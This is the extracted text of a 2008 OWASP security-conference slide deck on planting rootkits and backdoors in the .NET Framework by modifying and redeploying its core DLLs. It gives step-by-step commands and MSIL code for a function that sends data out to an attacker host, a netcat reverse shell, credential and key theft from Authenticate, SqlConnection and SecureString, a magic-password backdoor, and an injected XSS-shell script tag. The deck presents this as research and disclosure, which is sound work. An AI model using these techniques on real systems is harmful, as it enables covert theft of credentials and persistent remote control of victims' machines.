. NET Framework Rootkits Backdoors inside your framework OWASP November 2008 Copyright © The OWASP Foundation Permission is granted copy, Erez Metula, terms of theto. OWASPdistribute and/or modify this document CISSP License. under the Application Security Department Manager Security Training Academic Director The OWASP Foundation Erez. Metula@2 bsecure. co. il http: //www. owasp. org
DEMO – making code do more than it should Trivial question: What should be the output of the following code? static void Main(string[] args) { Console. Write. Line("Hello (crazy) World!"); } < DEMO – let’s run this code OWASP 2
What happened here ? ? !! < How come there were 2 Write. Line’s instead of just one? ? < The answer is quite simple – The framework’s implementation of “Write. Line” was modified to print every string twice. . < It is possible to change the. NET language implementation!!! OWASP 3
Windows Web application public void class Do. Something() { //some code ………. . Console. Write. Line(“Some String”); }. Net Class Library mscorlib. dll public static void Write ( string value ) Write. Line ( string value ) { ……// My Evil Code ……//some code Do. Evil. Thing(value) … ……//the internal implementation of Write. Line… } Windows APIs and services Hacked! OWASP User interface 4
Agenda <Introduction. NET execution model &. NET reverse engineering <Modifying the Framework core <Function injection <Installing backdoors and rootkits <Automating the process with. NET-Sploit <Things to consider when injecting OWASP 5
Introduction to the. NET CLR <The CLR is the heart of the. NET framework <It is a virtual machine component responsible to run. NET code <. NET code is compiled to MSIL, which is converted to native code at runtime 4 Done by the JIT (just in time) compiler OWASP 6
Introduction to. NET Reverse Engineering <Reverse engineering a. NET assembly (DLL) is the counter process of compilation 4 going back from MSIL code to higher level. NET code (C#, VB. NET, etc. ) <The purpose of reversing is usually to 4 Inspect assembly code 4 Modify assembly code <There are many tools that helps with that, from trivial decompiling to advanced runtime debugging <I’ve discussed it deeply in previous OWASP conference meeting 4 http//: www. owasp. org/images/7/77/OWASP_IL_7_DOT_NET_Reverse_Engi neering. pdf OWASP 7
Modifying the Framework core < The same concept can be applied to the Framework’s own DLL’s (any version) 4 This is a post exploitation type attack, that requires administrator level privileges < As a side note – can also be applied to Java’s JVM < The process is composed of the following steps: 4 Locate the DLL in the GAC, and copy it outside 4 Analyze the DLL 4 Decompile the DLL using ildasm 4 Modify the MSIL code (the most interesting part ) 4 Recompile to a new DLL using ilasm 4 Bypass the GAC strong name protection 4 Reverting back from NGEN Native DLL 4 Deploy the new DLL while overwriting the original OWASP 8
Tools <Filemon – locating which DLL’s are used and their location in the GAC <Reflector – analyzing the DLL code <Ilasm – compiling (MSIL -> DLL) <Ildasm – decompiling (DLL -> MSIL) <Text editor – modifying the MSIL code <Ngen - native compiler OWASP 9
Locating the DLL in the GAC < Locating the DLL in the GAC can be achieved using File. Mon < In our example, we can identify mscorlib. dll 4 It contains the Write. Line function (among with other important functions). It’s of the most important DLL’s. 4 In our example – it’s at c: WINDOWSassemblyGAC_32mscorlib2. 0. 0. 0__b 77 a 5 c 561934 e 089 OWASP 10
Copy the DLL <Copy the DLL using direct file system access <Windows explorer hide the file system details from us: OWASP 11
Analyze the DLL <Reflector can help us analyze the code and decide where and what we want to do. <Write. Line is under System namespace, Console class Method signature Stack size Method MSIL code OWASP 12
Decompile the DLL using ildasm <So we know where it is - let’s copy it to some temp directory. <We want to generate MSIL code out of it. 4 Ildasm. exe disassembler will do this job <Execute the next command: 4 ILDASM /OUT=mscorlib. dll. il /NOBAR /LINENUM /SOURCE mscorlib. dll <So now we have the decompiled code at mscorlib. dll. il OWASP 13
Modifying the MSIL code <Our next task is to modify its code – this is the best part <Reflector can help us to analyze the code and decide where and what we want to do <So after detecting the location of Write. Line, I just doubled its MSIL code 4 to achieve the “ 2 for the price of 1” printing 4 MSIL line recalculation need to be performed 4 Stack size might needs to be recalculated OWASP 14
Write. Line in MSIL (original VS. modified code) <Original code of Write. Line: <Modified code: Print #1 (same as before) Print #2 (duplicate) OWASP 15
Recompile the DLL using ilasm <Next step is to generate a new “genuine” DLL out of the modified MSIL code we have. 4 Ilasm. exe assembler will do this job <Execute the next command: 4 ILASM /DEBUG /DLL /QUIET /OUTPUT=mscorlib. dll. il <So now we have a new modified mscorlib. dll OWASP 16
Bypass the GAC Strong Name model <Next logical step is to overwrite the original DLL at the GAC with our modified DLL. 4 It’s not that simple 4 This is where things get a little bit tricky <the framework is using a digital signature mechanism called SN (Strong Name) <Every DLL has a unique signature 4 Our modified DLL have a different signature than the original one 4 We don’t have Microsoft’s signing private key <Using gacutil. exe to install it back obviously fails OWASP 17
Bypass the GAC Strong Name model <First thought was to re-sign all the DLL’s 4 It is possible, but it’s a very intensive task <Another approach was taken, revealed during this research 4 It was found out that the signature is used just to map to the correct directory name on the GAC 4 the SN mechanism does not check the actual signature of a loaded DLL but just looks for a DLL inside a directory with this signature name ! <GAC is broken, Strong Name is meaningless!! <Instead of messing with signatures, we can just deploy the DLL inside the correct directory… 4 You need direct access to the file system OWASP 18
Reverting back from NGEN Native DLL <Another hurdle we need to overcome is. NET’s precompile mechanism - NGEN 4 Compiles. NET assemblies into native code 4 Used to speeds things up and to avoid the JIT <The framework is not using our DLL but rather uses the native version <So we need to explicitly tell the framework not to use the native version. Example: 4 ngen uninstall mscorlib. dll OWASP 19
DEMO <Deploying the modified mscorib. dll and running the demo app OWASP 20
Installing backdoors and rootkits <So now we know we can modify the framework and make it behave the way we want <It is possible to plant malicious code inside the framework itself 4 We can backdoor some sensitive internal methods 4 It is also possible to deploy rootkits deep into the framework <The malicious code will be hidden and undetected inside the Framework <Code review will never detect them because they’re not at the application level code OWASP 21
Rootkit development - Function injection < In order to better develop rootkits, it’s better to have a separation between 4 a new “ability” injected into the framework 4 the code that use it < Since a new “ability” will be used in a couple of places, why not inject it as a new function? 4 We’re extending the. NET language < “Side by side” - Those functions can be injected separately or at once without interfering each other < Same goes for the payload code that execute them < Some examples – let’s extend the framework with: 4 Send. To. Url)string url, string data( 4 Reverse. Shell(string ip, int 32 port( OWASP 22
Send. To. Url(string url, string data) <Function that will be used to transfer data from the victim machine to the attacker <The data transfer is implemented as an innocent http web request 4 For example, to the attacker’s collector page <Parameters 4 url – the attacker’s collector page 4 data – the data to send OWASP 23
Example – Data. Stealer collector page OWASP 24
Send. To. Url implementation <Code: . method public hidebysig static void Send. To. Url(string url, string data) cil managed {. maxstack 8 IL_0000: nop IL_0001: ldarg. 0 IL_0002: ldarg. 1 IL_0003: call string System. String: : Concat(string, string) IL_0008: call class [System]System. Net. Web. Request: : Create(string) IL_000 d: callvirt instance class [System]System. Net. Web. Response [System]System. Net. Web. Request: : Get. Response() IL_0012: pop IL_0013: ret } // end of method Class 1: : Send. To. Url OWASP 25
Send. To. Url usage < So now all we have to do is call this function < Since it was already deployed as a function, calling it is very simple < Let’s say there is a sensitive string (“Some. Sensitive. Stolen. Data”) the attacker wants to send to his collector Web. Form 1. aspx page < The following injected MSIL code will do the job. locals init (string V_0( IL_0000: ldstr "Some. Sensitive. Stolen. Data" IL_0005: stloc. 0 IL_0006: ldstr "http: //www. attacker. com/Cookie. Stealer/Web. Form 1. asp" " + x? s"= IL_000 b: ldloc. 0 IL_000 c: call void System. Object: : Send. To. Url(string, string OWASP 26
Reverse. Shell)string ip, int 32 port( <Function that will be used to provide a reverse shell to the attacker machine <This function contains an encoded version of netcat + cmd that is deployed to disk at run time <Inspired from the “dropandpop” aspx backdoor <Parameters 4 ip – the attacker’s address 4 port – the attacker’s listening port OWASP 27
Remote Reverse Shell OWASP 28
Reverse. Shell implementation < Reverse. Shell deploys netcat. exe + cmd. exe to the disk, and execute a reverse shell to the specified IP and PORT at the attacker machine 4 netcat IP PORT -e cmd. exe < Code (omitted): . method public hidebysig static void Reverse. Shell)string ip, int 32 port) cil managed } // Code size 259 (0 x 103(. maxstack 3. locals init ([0] string cmdfilename, [1] string filename, [2] uint 8[] netcat, [3] class System. IO. Binary. Writer bin. Writer 1, [4] uint 8[] cmd, [5] class System. IO. Binary. Writer bin. Writer 2, [6] string arguments, [7] class [System]System. Diagnostics. Process proc, [8] object[] CS$0$0000( IL_0000: nop IL_0001: ldstr "cmd. exe" IL_0006: stloc. 0 IL_0007: ldstr "netcat. exe" IL_000 c: stloc. 1 … … IL_0101: pop IL_0102: ret // { end of method : : Reverse. Shell OWASP 29
Reverse. Shell usage < Using this function is very simple < The attacker needs to run netcat locally on his machine, waiting for incoming calls at port 1234 4 nc -l -p 1234 < Calls to his specified port will be originated from the victim machine, forming a reverse shell tunnel < The following injected MSIL code will do the job IL_0000: ldstr IL_0005: ldc. i 4 IL_0006: call "192. 168. 50. 129“ // attacker ip address 0 x 4 d 2 // port 1234 void System. Object: : Reverse. Shell(string, int 32) OWASP 30
Some practical examples. . <It is possible to do anything <The sky is the limit. . <Let’s see some examples. . OWASP 31
Forms authentications credential stealing < System. Web. dll contains a boolean method called Authenticate (string name, string password) used by forms < Let’s append MSIL code to the end of this method, that will send the username and password to the attacker 4 Send. To. Url(“attacker. com”, name+”: ”+password) Original code (end of authenticate) Modified code(post injection) Injected OWASP 32
DEMO <Forms authentications credential stealing http: //192. 168. 50. 131/formsauthentication/login. aspx OWASP 33
Backdooring forms authentications < Another possible attack on the Authenticate function is to backdoor its logic < Anytime the supplied password will contain some special string (“Magic Value”) authentication will succeed < Let’s add code to the beginning of Authenticate If (password. equals(“Magic. Value”)) return true; < The modified code (seen as C# using Reflector): OWASP 34
Installing a reverse shell <In our next example we’ll inject the Reverse. Shell function and execute it <Let’s make a reverse shell every time a winform executable is run 4 Just for demonstration pusposes. . <So we’ll inject code that execute our reverse shell into System. Windows. Forms. dll, at function Run(Form main. Form) OWASP 35
Installing a reverse shell Original code Modified code (pre injection) Injected OWASP 36
DEMO <Reverse shell OWASP 37
Stealing the connection string for every connection opening < System. Data. dll contains the logic for connecting to DB servers < The class Sql. Connection is responsible for opening the connection to the DB < We can modify the behavior of Open() to send the connection string to the attacker 4 It’s in the class member Connection. String < So Open() is changed to public override void Open() { Send. To. Url(“www. attacker. com”, this. Connection. String); … … } OWASP 38
Injecting Browser exploitation framework into auto generated HTML/JS files < The Framework contains many pieces of HTML / Javascript code that is used by aspx pages as code templates 4 Example - System. Web. dll < Those pieces of code are usually included inside the Framework DLL’s as resources < It is possible to inject persistent javascript code into the templates (similar to the concept of persistent XSS) 4 Example – injecting a call to XSS shell <script src="http: //www. attacker. com/xssshell. asp? v=123"></script> OWASP 39
Encryption key fixation / stealing /downgrading / etc. . < A very interesting attack vector against. NET cryptography at mscorlib. dll < Example – Rijndael implementation of Generate. Key() 4 C# code from reflector < Key fixation cause encryption to always use the same key (simple example – by removing the RNG line) < Key stealing can be achieved by sending the key to the attacker (using Send. To. Url, for example) < Key/algorithm downgrading can be achieved by setting the least secure algorithm as the default for encryption (for example, setting the default symmetric algorithm to DES instead of the default AES. . ) < Etc… 40 OWASP
Secure. String stealing <Secure. String is a special string protected with encryption by the. NET Framework 4 Part of System. Security at mscorlib. dll <Secure. String probably contains valuable data <It would be interesting to inject code that will send this data to the attacker 4 Maybe inject it into the Dispose() method of Secure. String 4 C# code from reflector: Int. Ptr ptr = System. Runtime. Interop. Services. Marshal. Secure. String. To. BSTR(secure. String); Send. To. Url(“www. attacker. com”, System. Runtime. Interop. Services. Marshal. Ptr. To. String. BSTR(ptr)); OWASP 41
Disabling security checks < Messing around with CAS (Code Access Security) can be achieved by modifying the behavior of important classes from System. Security, System. Security. Permissions, etc. . 4 Again, from mscorlib. dll. . < It is possible to disable security checks by changing the logic of 4 Code. Access. Permission: : Demand() 4 Code. Access. Permission: : Deny() 4 Code. Access. Permission: : Assert() 4 File. IOPermission, Registry. Permission, etc. OWASP 42
Automating the process with. NET-Sploit <. NET-Sploit is a tool that aide the process of injecting / modifying. NET assemblies <Able to 4 Modify a given function 4 Inject payloads 4 Execute payloads 4 Takes care of “code reshaping” 4 Pull the relevant DLL from the GAC 4 Generate a deployer for the modified DLL OWASP 43
Automating the process with. NET-Sploit <. NET-Sploit is inspired from H. D. Moore’s amazing “metasploit” exploit platform. < Its specialty is the abstraction from which code injection is composed, and the separation of the following building blocks (modules): 4 Function – a new method to extend a specified DLL 4 Payload – code that is injected into a Framework method 4 Reference – reference to other DLL (if necessary) 4 Item – XML based composition the above building blocks < The idea is to create an item that combines generic payload and functions. OWASP 44
Item example <Code. Change. Item name="Send data to URL"> <Description>The specified code will change Write. Line() in such a way that each time it is called a string will be sent</Description> <Assembly. Name>mscorlib. dll</Assembly. Name> <Assembly. Location>c: WINDOWSassemblyGAC_32mscorlib2. 0. 0. 0__b 77 a 5 c 561934 e 089</Assembly. Location> <Assembly. Ref> <File. Name>system. ref</File. Name> </Assembly. Ref> <Assembly. Func> <File. Name>Send. To. Url. func</File. Name> <Location><![CDATA[} // end of class System. Object]]></Location> <Before. Location>TRUE</Before. Location> </Assembly. Func> <Assembly. Code> <File. Name>Send. To. Url. payload</File. Name> <Location><![CDATA[instance void Write. Line() cil managed]]></Location> <Stack. Size>8</Stack. Size> </Assembly. Code> </Code. Change. Item> OWASP 45
DEMO <Performing a full automated DLL modification using. NET-Sploit OWASP 46
OWASP 47
Things to consider when injecting <pre / post consideration <places to inject your code 4 Cross reference – function are not restricted to the same dll <the most used methods you want to inject to <References to assemblies <Stack size <Removing traces with NGEN OWASP 48
Questions ? OWASP 49
References <More information can be obtained at http: //www. applicationsecurity. co. il/. NET-Framework-Rootkits. aspx <Includes: 4 Whitepaper: “. NET Framework Rootkits - Backdoors inside your Framework” 4. NET-Sploit Tool 4. NET-Sploit Source Code OWASP 50
Summary <Modification of the framework behavior can lead to some very interesting things <An attacker who has already rooted your machine can backdoor your framework, leaving rootkits behind 4 It is another place for rootkits besides the Kernel, BIOS, Drivers, etc. . 4 It is hidden deep inside the framework DLL’s OWASP 51
Summary <As the owner of the machine, there’s not much you can do about that 4 You can use external file tampering detectors, such as tripwire 4 Microsoft should give the. NET Framework a kernel level modification protection <… And although this concept can be used maliciously, it can still be used positively to make custom “MOD” frameworks for topics such as performance, bug fixing, and more OWASP 52
Thank you ! OWASP 53
Скачать презентацию NET Framework Rootkits Backdoors inside your framework
fcda3cad46b5596c5329a17e54733bcb.ppt